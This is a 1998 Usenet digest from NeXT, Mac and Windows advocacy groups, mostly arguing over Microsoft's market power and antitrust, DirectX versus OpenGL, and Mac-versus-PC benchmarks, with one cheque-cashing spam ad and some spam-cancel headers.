Had the Feds originally wanted more local competition?
--
"... and subpoenas for all." - Ken Starr
From: <paw@mcmail.com>
Newsgroups: comp.sys.next.advocacy
Subject: CHEQUES CASHED
Message-ID: <35562e3a.0@news1.mcmail.com>
Date: 10 May 1998 23:46:18 GMT
CHEQUES CASHED: Rates from 3.25% including "Not Neg" & "Account Payee Only".
If you require a cheque cashing and do not wish to use a bank account, please call us today.
Totally discreet,efficient & confidential service.
Tel 07970 622645 or E-mail paw@mcmail.com for info. (UK ONLY SORRY).
Message-ID: <35562C92.1E5C@sengles.dircon.co.uk>
Date: Sun, 10 May 1998 23:39:14 +0100
From: Mike Engles <mike@sengles.dircon.co.uk>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <3553A611.7079@sengles.dircon.co.uk> <see-below-0705981900430001@209.24.240.13>
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Matthew Vaughan wrote:
>
> In article <3553A611.7079@sengles.dircon.co.uk>, mike@sengles.dircon.co.uk
> wrote:
>
> > In the latest issue of PCPRO magazine there is an interesting test.
> > You will remember that this is the British magazine that had an article
> > by Jon Honeyball, praising Apple computers.
> >
> > They did a group test of 12( DELL GATEWAY etc) Pcs. The winning Pc
> > costing UKP 1200( inc 15inch monitor) was a made by a clone maker KT.
> >
> > The magazine then did a comparison with a G3 233 desktop.
> > The G3 was UKP1369(inc 17 inch Fst monitor) plus UKP55 for an extra 32
> > ram to match the PC.The PC was a 333 LX Pentium 11.
> >
> > They ran Lightwave 5.5 and used a test render on both machines.
> > Lightwave is cross platform.
> > The G3 took 506 secs and the Pc took 306 secs.
>
> Okay, so the PC appears to be 16% faster than the Mac relative to clock
> speed in one test in one application program (which has been available on
> PCs for years, and only about one year on the Mac).
>
> > They also installed SoftWindows95 on the Apple.They ran their regular Pc
> > benchmarks( WORD EXCEL PHOTOSHOP4 PAGEMAKER and ACCESS)on the machine
> > and produced a score of .35. This they equated to a Pentium 100.
> > "not state of the art, but usable" they write.
>
> Sounds about right. Emulation is typically is about 1/8th as fast as
> running natively on the same machine.
>
> > They intend to do some more 'real world' comparisons.
>
> Should be interesting.
>
> ....................................................
> MATTHEW VAUGHAN
> matthewv at best dot com (damn spammers...)
> http://www.best.com/~matthewv/
> ....................................................
I was not saying anything either way in this debate. I was just trying
to give some much needed information.
Mike Engles
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35562e3a.0@news1.mcmail.com>
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From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: Sun, 10 May 1998 23:39:31 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35563AB3.B8A9AAC@nstar.net>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j4eta$rbo$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> Others have pointed out your problem. What I don't understand is,
> why are you singling out Joe?? If you've been paying attention at all,
> you'd have noticed that the rest of us _also_ say that it's as simple as
> clicking a box and recompiling, as long as you stay within the Yellow Box.
I think the point was that while "the rest of [you]" know what you're
talking about, and can answer the question...
...draw your own conclusions. It's a matter of "legitimacy of claims".
MJP
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.newton.programmer,comp.sys.next,comp.sys.next.advocacy
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From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<6j2s62$gpp$1@supernews.com>
Message-ID: <%yr51.1083$sy4.1591596@news.rdc1.sdca.home.com>
Date: Mon, 11 May 1998 00:24:27 GMT
NNTP-Posting-Date: Sun, 10 May 1998 17:24:27 PDT
Organization: @Home Network
In <6j2s62$gpp$1@supernews.com> "Zico" wrote:
> x-no-archive: yes
>
> Rex Riley wrote:
>
> >I have nothing wrong with standards. Standard API's, formats, etc...
> >encourage the free and unfettered choice of the marketplace to
> determine
> >success. Hence, Microsoft impinges upon my Civil Right to free
> speech. I and
> >other non-Microsoft users of computing technology are continually
> faced with
> >lack of compatibiltiy to information, access to information and
> ultimately the
> >full and complete expression of individual speech.
>
>
> Free speech?? Dude, you need to get out more. You have no right
> to be heard. Expect to face the same problem if you're an U.S.
> immigrant from East Asia who doesn't know English. And no, I don't
> think the taxpayers should be forced to help you out, either.
> I'm guessing that you don't like to hear it, but de facto standards
> are standards, too. Learn to work with them, come up with your
> own that a decent number of people will want to use, or die.
>
>
Well, there's one trial balloon which never got off the ground... so everyone
is to feel like a foreigner speaking another language forced to learn the MS
way or reproduce the MS effect through sheer brilliance in design. OK...
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com>
Message-ID: <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
Date: Mon, 11 May 1998 01:24:14 GMT
NNTP-Posting-Date: Sun, 10 May 1998 18:24:14 PDT
Organization: @Home Network
In <MPG.fbe7482b277f658989694@news.supernews.com> Donald Brown wrote:
> BS. You can write anything you like. You are confusing freedom of
> speech with the right to be heard. You can make a program that does
> anything you jolly well please. If customers prefer Microsoft's
> solution, well, that's their right to choose.
>
Well, OK. I'll wait a few more years, watch a few more Netscapes devolve,
witness "let them live" 150 million Apple investments w/IE on the desktop and
laugh as the entire US Banking system is co=opted with a MS gateway protocol
for Internet payments (ref: Wall Street & Technology May98) It may not be
Freedom of Speech but is sure as hell is some thing akin to no choice at
all... It ain't BS my friend.
> > Microsoft has its ways of making certain that their standard applications
are
> > available unfettered and freely usalbe on their OS. Word for Mac missing
> > ACCESS. Java on Windows is non-standard Java. Active-X websites ala WSJ
> > offer different content access controls. etc....
>
> Then write an ACCESS-compatible databae for Mac. Write a standard Java
> for Windows. Put up websites with standard controls. COMPETE.
>
Sure... you'd also recommend that I hook a propeller to an alternator and
feedback electricity to the utility grid and COMPETE. Cute, the idea was
access to information like access to electricity, Microsoft conveniently
positions its complete suites on its own "grid" ala WinXX.
> > Not to mention the fact that it is Business Suicide to build a
BusinessPlan
> > without Microsoft an integral part of any software enterprise. Venture
> > funding simply isn't available... The world would be different, with free
> > access to information and markets without the Standards of Microsoft
holding
> > the process of "Free Choice" hostage to their beta cycles.
>
> And the world would be different if we were all running DRDOS. Or if
> there were 20 different incompatible OSes in use out there.
>
We'd be in a worse mess and this is not at all what I have advocated.
> Microsoft Windows supplies TCP and you can build what you like on top of
> there. I'm finishing a product with what is currently a proprietary
> protocol but may be presented as a standard in the future. Even those
> this protocol is different from the RSVP protocol Microsoft has proposed,
> my software still runs on Windows.
>
> God must love standards because there are so many of them. If you don't
> like the standards Microsoft does, create your own. If they aren't
> compelling enough to use them intead of Microsoft's standards, that is
> the customer speaking.
>
Wrong... it is the customer following Microsoft.
> Now, IF Microsoft is putting their own thumb on the scales to force
> others out of the market (I'm particularly thinking of when they forced
> clone makers to pay them for any computer even if it shipped with another
> OS), that's against the law and they should be slapped down hard for
> that. I believe there is a role for anti-trust laws, and Microsoft has
> taken some actions that IMHO violate those laws, and Microsoft should be
> punished for those actions.
>
> But, if the problem is "They're big and I'm small and more customers
> listen to them than I and I want the government to do something about
> it", that's where I'll fight you.
>
> Because I have a dream of being big someday and having more customers
> listening to me than others. And I do not want the reward of my hard
> work and success being living under a beaurocrat's thumb.
>
>
It may well turn into some sort of fight someday. A CyberWar or
CyberRevolution... to straighten the whole out-of-balance situation. What
other industry does any company command a 70+% marketshare? I'm optimistic
Java will negate the MS OS advantage and avert the war. But I'm not so sure
with WinCE filtering into small devices. WinCE may propagate WinXX into the
digital future.
Onto your dream... nice, warm, rewarding and naive. Netscape learned all
roads to success lead through Redmond. Sun has refused to go there and built
there own road, Java. Apple built a better road but MS copied it. I'm sure
you've engineered your road through Redmond or hope soon to be "in" Redmond
(ie. bought/partnered).
I personally wish you all the luck in the world and hoped for audience for
your hard work and brilliant engineering. Protocols are like money. Anyone
can print their own money and issue it. You just have to find someone willing
to accept it. Success in the protocol business requires standards acceptance
and widespread availability. The first expensive and the later a trip through
Redmond. Sun's Java Standard the poster child of what happens when MS is left
out of the process. You will most likely be asked to sacrifice your financial
interest in your protocol in exchange for an audience that will listen. A
first born act of gifting your hard work into the public domain and standards
body of the net. So ultimately, you are willing to fight for one form of
bureaucracy over another. The final effect of which is to allow MS have your
protocol gratis and you'll COMPETE just like all the rest of us with our
propellers hooked up to the "Big Grid" (ala WinXX). Enjoy your freedom!
really best...
-r
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 01:28:35 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lcl22.6vc.mbkennel@lyapunov.ucsd.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net>
On Sat, 09 May 1998 09:24:04 -0400, Arun Gupta <suvidya@worldnet.att.net> wrote:
:I am no economic theorist, but I suspect that the "untrammeled free market"
:is a fictitious entity.
Of course. It is, however, a vapid sound-byte ideal, like 'patriotism',
'motherhood and Apple Pie', and 'it's for the chiiiiiiiildren'.
A common resonant code phrase coverup substituting for intelligent thought,
meant to preclude rational examination so that some group with power can get
away with something.
A more sophisticated version of this argument occurs when somebody with a
brain attempts to look at the circumstances. For instance, you may be
accused by fundamentalist libertarians of ''moral relativism'' (because you
want to believe in government intervention some of the time but not all of
the time), subtly lumping you in with waffly unprincipled sleazebags and
uncaring decadence of pre-war Berlin.
:Whether Microsoft has broken these rules is to be determined, by following
:the prescribed procedures
:provided by law. There is no extra government intervention in this, any
:more than in any other
:area of the market. Sand would be thrown in the gears of human progress,
:if the rules are not
:followed.
You don't understand the New Rules. It's the tyranny of
capitalism-correctness---nearly the mirror image of the leftish/Marxist
political correctness of the 60's.
Even some of the key phrases and images are the same. For Marxists, it
was the enemy capitalists and bourgoisie who were the ``parasites'' sucking
out the labor of the exploited classes. Now, it is ''government bureaucrats''
who are the ''parasites'' infesting and exploiting the ''successful''.
And if you disagree with the Correct Thought, you are considered to be one
as well.
Look what happened to George Soros (mega capitalist financier) when he wrote
a very good article about this---describing how markets are merely
configurations and systems invented by people. And thus how there is no
fundamental moral justification to their results; but only serve as means to
some other end.
After that, he has become become a suspect traitor in the capitalist
community.
As a nonlinear dynamicist I could tell he understood quite intuitively some
complex and sophisticated issues regarding markets and economies that his
critics totally missed.
:-arun gupta
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 01:37:26 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lclil.6vc.mbkennel@lyapunov.ucsd.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <355495FB.D0C86056@nstar.net>
On Sat, 09 May 1998 17:44:27 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
:
:1) Do everything you have agreed to do.
:2) Do not encroach on other people or their property.
:
:Law number one is the basis for Contract Law, and forms the basis by
:which business is conducted. Law number two is the basis of Tort Law. By
:careful application of these two laws, much of what you ask can be
:answered, especially in the context of precedents set during the time of
:Common Law in England.
Wow. Believing that these two concerns should form the core of all law
is dripping with massive unspoken ideology.
"mechanism not policy" my foot!! :)
:Most helpful in all of this (for the purpose of maintaining optimism
:despite the seeming muddle) are Thomas Paine's remarks: "Man cannot
:create principles, he can only discover them." Such belief in a higher
:order to things is crucial to proper legislation.
Oh shit. My bogometer just pegged the needle.
Throughout the annals of civilization man has created new principles
incessantly---and their propagandists have made spurious, emotional and
demagogic appeals to ``higher order of things'' to support their adoption
and swiftly discard their rivals, intellectual and human.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sun, 10 May 1998 19:00:46 -0700
Message-ID: <see-below-1005981900460001@209.24.241.245>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au>
In article <6j497o$r5q$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> >On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
> >(David H. McCoy) wrote:
> >
> >¯Why is it so difficult for people to realize the DirectX is the technology
> >¯tht combines sound interfacing, controllers, video hardware accessing as
> >¯well as 3D...
> >
> >Because we are not interested in MS' latest attempt to
> >ignore a superior standard in order to replace it with their
> >own inferior one in order to put another billion dollars in
> >BG's bank account.
>
> There's a small flaw with this statement - there *is* no comparative product
> to DirectX.
On the Mac ther are the Game Sprockets, with pretty similar functionality
as I understand it. But I don't think most developers were complaining
about DirectX, but rather only the Direct3D component of it (and more some
specific flaws in earlier versions that have at least partly been
corrected).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 01:58:17 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lcmpo.6vc.mbkennel@lyapunov.ucsd.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
On Fri, 08 May 1998 11:17:43 -0700, Henry McGilton <henry@trilithon.com> wrote:
:Standard Oil is a classic historical example. All the evidence
:indicates that Rockefeller, far from conspiring to fix or
:control pricing, was trying to maintain reasonable pricing to
:prevent the independents at the time from flooding the market
:with too much oil that would drive prices down to unprofitable
:levels.
Poor babies. Why should it have been Rockefeller's decision to make?
:The JD saw Rockefeller's actions as monopolistic and
:eventually broke up the company. It's not clear over the long
:run whether or not this was a good thing.
:The Justice Department versus IBM was another more recent
:example. The JD basically spent thirteen years on a case
:against IBM, that in hindsight, not only appears to be very
:similar to their current case against Microsoft, but also
:was eventually thrown out because the case had no merit.
Really? No merit, or just ideological judges? And how much
capital of the world did IBM destroy over its decades of
monopoly?
:And the free market (in the shape of Compaq and Microsoft)
:hammered IBM anyway.
By luck: by being able to technologically clone the IBM PC
thus providing the opportunity for competitive substitution of
products. If IBM had not been under all the consent decrees and DOJ
scrutiny, might they have retaliated far more harshly and
monopolistically, as was their prior historical practice?
If there is the possibility for free competitive substitution, then
the market will provide good results.
Is this going to happen with the Microsoft situation? That is the key
concern.
:After all the shouting, IBM essentially
:shot off their own corporate foot(s) --- they didn't need any
:other private or governmental entity to do it for them.
:Just as an aside, IBM are back in force now, having competed
:successfully in the free market and recovered quite nicely.
:I have expressed this opinion many times before, but I'll
:express it again: while you're all looking anxiously over
:your shoulders at Microsoft, the company that will reduce
:Microsoft to rubble, IBM-style, is probably six blokes in a
:garage somewhere. A couple of decades ago, who would have
:thought that Radio Shack, Apple, and Microsoft would be
:competing in the marketplace with IBM? If you were to ask
:people at the time how to reduce the threat of IBM, they
:would have pointed to the BUNCH and ICL and the short
:lived European consortium called UniSys (no relation to
:Burroughs/Univac). People weren't even aware of the existence
:of companies like Vector Graphics, Osborne, and Apple, and
:didn't give MicroSoft a second thought --- they were viewed as
:a bunch of pimply kids with a BASIC interpreter.
And let's think about the reasons for this. IBM was undercut
by competitors who had a substantially lower unit cost of production
for the same capability.
In other words, microprocessor based CMOS hardware burnt the core out of
IBM's markets. IBM could not, and would not, lose money indefinitely on
making products below cost. This has always been the classic
''laissez-faire'' argument against anti-trust, that no rational company will
be able to maintain it so long.
I submit that the economic dynamics of software are unlike any ever seen
in history. It changes everything.
Nobody will undercut Microsoft on unit production cost, and nobody will be
able to clone it to provide for competitive substitution. Without external
regulation.
You have to look at the actual mechanism of markets; do not think via
ideology.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: crobato@kuentos.guam.net (Robato Yao)
Newsgroups: comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 11 May 1998 02:58:50 GMT
Organization: Kuentos Communications Inc.
Message-ID: <6j5pha$m3g@lehi.kuentos.guam.net>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au>
In <6j497o$r5q$1@nargun.cc.uq.edu.au>, "Christopher Smith" <drsmithy@usa.net> writes:
>>On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
>>(David H. McCoy) wrote:
>>
>>¯Why is it so difficult for people to realize the DirectX is the technology
>>¯tht combines sound interfacing, controllers, video hardware accessing as
>>¯well as 3D...
>>
>>Because we are not interested in MS' latest attempt to
>>ignore a superior standard in order to replace it with their
>>own inferior one in order to put another billion dollars in
>>BG's bank account.
>
>There's a small flaw with this statement - there *is* no comparative product
>to DirectX.
You mean nothing comparitively as faulty.
By the way DirectX is inspired from MacOS, which uses a thin fast
abstraction layer to handle hardware without relying on device
specific procedures. These capabilities are so built into MacOS, and
they never needed a name. Which is why MacOS games, even those that
have DirectX equivalents on the Windows side, never had to use or say
about such a technology. Much less buggier too.
Rgds,
Chris
(counting down from top 50 oxymorons...)
10. Tight slacks
9. Definite maybe
8. Pretty ugly
7. Twelve-ounce pound cake
6. Diet ice cream
5. Rap music
4. Working vacation
3. Exact estimate
2. Religious tolerance
And the NUMBER ONE top oxy-MORON
1. Microsoft Works
---From the Top 50 Oxymorons (thanks to Richard Kennedy)
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Mon, 11 May 1998 13:06:20 +1000
Organization: OzEmail Ltd.
Message-ID: <6j5q13$o8m$1@reader1.reader.news.ozemail.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>
Bruce Bennett wrote:
>Barry Twycross <Barry@netbox.com> suggested:
>>Steve Jobs did say they were planning a consumer level portable to be
>>introduced in '99. There are also rumours going round of a Mac in the eMate
>>form factor. Cross that with the iMac and what do you get?
An iMac-laptop would be your high end consumer laptop.
A cool looking portable with a USB port and IrDA for file transfer
to the desktop iMac (or business machine). Small screen,
Optional external floppy and CD (USB). Quite nice.
>There's a large potential market for a seriously stripped-down,
>ultra-bottom-of-the-line model, too.
>
>Students, writers, journalists -- perhaps almost everyone who can type
>-- are waiting for a cheaper eMate, in effect a super-rugged,
>lightweight word-processing notebook with file-transfer capabilities and
>long, long battery life.
Okay so you're suggesting a _really_ cheap system that just does
word processing well. So remove USB, go black-and-white, and use
a slower CPU (these new Motorola PowerPCs for appliances might be cool?).
Your connectivity is all Infrared, and you use a 1GB hard disk
and low Ram ( need good virtual memory ). If you don't have a home
computer (iMac) to take your files then an infrared printer will print your work.
Would that work?
>>Like I said the passive matrix version would sell for $999, I'd go for the
>>active matrix version at $1299.
I think they should keep their active matrix for higher end laptops.
Greg
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sun, 10 May 1998 23:15:49 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6j5qdm$k0c$1@supernews.com>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <3555D791.3273@ibm.net>
>then why is MS encouraging software developers to use DirectX over the
>alternatives? Why are they shooting themselves? Will their own Win9x
>games be considered obselete with the new NT Order arrives 2 years from
>now?!
I would guess that the reasoning would be that standards commitees are, at
this point, in general staffed with people that want to give MS the shaft.
So there's some paranoia there that is probably justifiable. Also, I'd
think that efficient implementations of OpenGL are probably tied down in
patents by high end vendors so that the only thing a PC peripheral could do
would be a new standard around those patents. Finally, I think that's
because Microsoft's customers - the OEMs, really don't care whether or not a
certain 3D is implementable on a machine, just so long as its "something 3D"
that they can sell.
>
>> > Vaporware is a good thing to call NT 5. I've been reading industry
>> >rags that say to expect NT 5 to be released late in 1999 or early in
2000
>> >at the soonest. They also say that if it's shoved out the door before
>> >then avoid it because it still isn't all that stable. But I'm not beta
>> >testing it so I really have no personal experience.
Ahem. It just so happens that I know someone that has a beta. It can be a
total nightmare to install, but it's not all that unstable when the dust
settles. It's just that the directory services stuff totally doesn't work.
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sun, 10 May 1998 23:20:29 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6j463g$i1m$1@supernews.com>
References: <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <6j4afj$p19$1@wombat.cs.monash.edu.au>
>
>Well, I guess SVGAlib and XF86DGA (direct screen access), Glide (the 3dfx
>library) and Mesa (a pretty full-featured OpenGL clone that uses hardware
>acceleration on the Voodoo boards) don't count?
I understand that for svgalib to work, you have to be root. Is that true?
Also, does XF86DGA take advantage of accelerated bit blit? I honestly do
not know. Glide I have heard good things about. Mesa I've heard nothing.
Hopefully, when GGI comes out you guys will be happier.
In any case, there is not a single API for Linux that does it all. You have
to mix and match and cobble together. What about sound and mixing of audio
sources.
>
>Maybe, just maybe, you should inform yourself a tiny little bit mroe
>before posting.
Why? The same courtesy is rarely extended when discussing Windows. The
only way our communities learn from each other is by relentless bashing. It
is barbarically efficient.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: Mon, 11 May 1998 13:20:55 +1000
Organization: OzEmail Ltd.
Message-ID: <6j5qsg$pdb$1@reader1.reader.news.ozemail.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <6ik093$kos$3@ns3.vrx.net>
Maury Markowitz wrote:
> Doesn't OpenBSD already compile the vast majority of Linux code?
From their homepage http://www.openbsd.org
"OpenBSD supports binary emulation of most programs from
SVR4 (Solaris), FreeBSD, Linux, BSDI, SunOS, and HPUX. "
I wonder what "_most_ programs" means. I assume this is Intel
and a recompile would be needed under PPC.
Greg
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sun, 10 May 1998 22:58:00 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6j5p74$3gd$1@supernews.com>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com>
>Why is it so difficult for people to realize the DirectX is the technology
>tht combines sound interfacing, controllers, video hardware accessing as
>well as 3D. Direct 3D is one component of DirectX. If you create a game
>with 3dfx or OpenGL without the sound or controller components, you will
>not have much of a game.
I do understand that, but in the popular domain direct 3d is what everyone
really means. Nobody seems to be horribly offended by DirectDraw or
DirectSound or even DirectPlay. There wasn't anything like them out there
too much. But a new 3d standard leaves some people scratching their heads -
especially when Open/GL is so widely accepted.
And, since I'm still struggling with learning 3d programming, I'd like to
